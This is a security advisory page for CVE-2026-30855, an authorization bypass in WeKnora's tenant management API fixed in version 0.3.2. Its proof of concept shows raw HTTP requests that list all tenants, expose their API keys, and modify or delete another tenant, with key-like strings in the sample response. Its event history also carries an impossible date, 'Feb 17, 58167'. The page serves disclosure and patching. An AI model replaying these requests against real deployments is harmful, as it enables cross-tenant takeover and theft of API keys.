CVE-2026-30855: WeKnora: Broken Access Control in Tenant Management

Published Mar 6, 2026
·
Updated

Summary An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.

Details The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.

Affected handlers: - GET /api/v1/tenants lists all tenants without ownership checks - GET /api/v1/tenants/{id} reads any tenant by ID without ownership checks - PUT /api/v1/tenants/{id} allows updating any tenant by ID without ownership checks - DELETE /api/v1/tenants/{id} allows deleting any tenant by ID without ownership checks

These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.

PoC 1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.

2) Read details of other tenants:

- Request that uses API key via the X-API-Key header:

http GET /api/v1/tenants HTTP/1.1 Host: localhost Connection: keep-alive X-Request-ID: 2TpH2S0sHyi1 X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144" sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://weknora.serviceme.top/platform/knowledge-bases Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

- Response (truncated for brevity):

http HTTP/1.1 200 OK Server: nginx/1.28.0 Date: Fri, 06 Feb 2026 03:12:22 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Request-Id: 2TpH2S0sHyi1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin

{ "data": { "items": [ { "id": 10025, "name": "injokerr's Workspace", "apikey": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd", "status": "active" }, { "id": 10001, "name": "viaimyuweilong", "apikey": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe", "status": "active" } ] }, "success": true } ...

With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.

Requests to perform modification and deletion of another tenant.

1) Modify the victim tenant:

- Request: - Method: PUT - URL: http://localhost:8088/api/v1/tenants/10001 - Header: Authorization: Bearer <ATTACKERTOKEN> - Body: { "name": "HACKED by tenant 10025" }

- Expected response: - 200 OK with the updated tenant object.

4) Delete the victim tenant:

- Request: - Method: DELETE - URL: http://localhost:8088/api/v1/tenants/10001 - Header: Authorization: Bearer <ATTACKERTOKEN>

- Expected response: - 200 OK and the tenant is deleted.

Impact

This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.

Other sources

WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/Tencent/WeKnora<=0.3.1
0.3.2
Tencent WeKnora<0.3.2

Event History

Mar 6, 2026
Advisory Published
via GitHub·11:53 PM
Data Sourced
via GitHub·11:53 PM
DescriptionSeverityWeaknessAffected Software
Mar 7, 2026
CVE Published
via MITRE·04:31 PM
Data Sourced
via MITRE·04:31 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeaknessAffected Software
Feb 17, 58167
Event
via FIRST·09:21 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-30855?

CVE-2026-30855 is rated as a critical vulnerability due to its potential for unauthorized access to sensitive tenant data.

2

How do I fix CVE-2026-30855?

To fix CVE-2026-30855, upgrade to WeKnora version 0.3.2 or later, which addresses the broken access control issue.

3

Who is affected by CVE-2026-30855?

Any authenticated user in the WeKnora application is affected by CVE-2026-30855 due to the authorization bypass in tenant management endpoints.

4

What are the consequences of exploiting CVE-2026-30855?

Exploiting CVE-2026-30855 allows an attacker to read, modify, or delete any tenant's information, compromising tenant confidentiality and integrity.

5

Is there a workaround for CVE-2026-30855?

Currently, there is no official workaround for CVE-2026-30855, and users are advised to update to the latest version to mitigate the risk.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203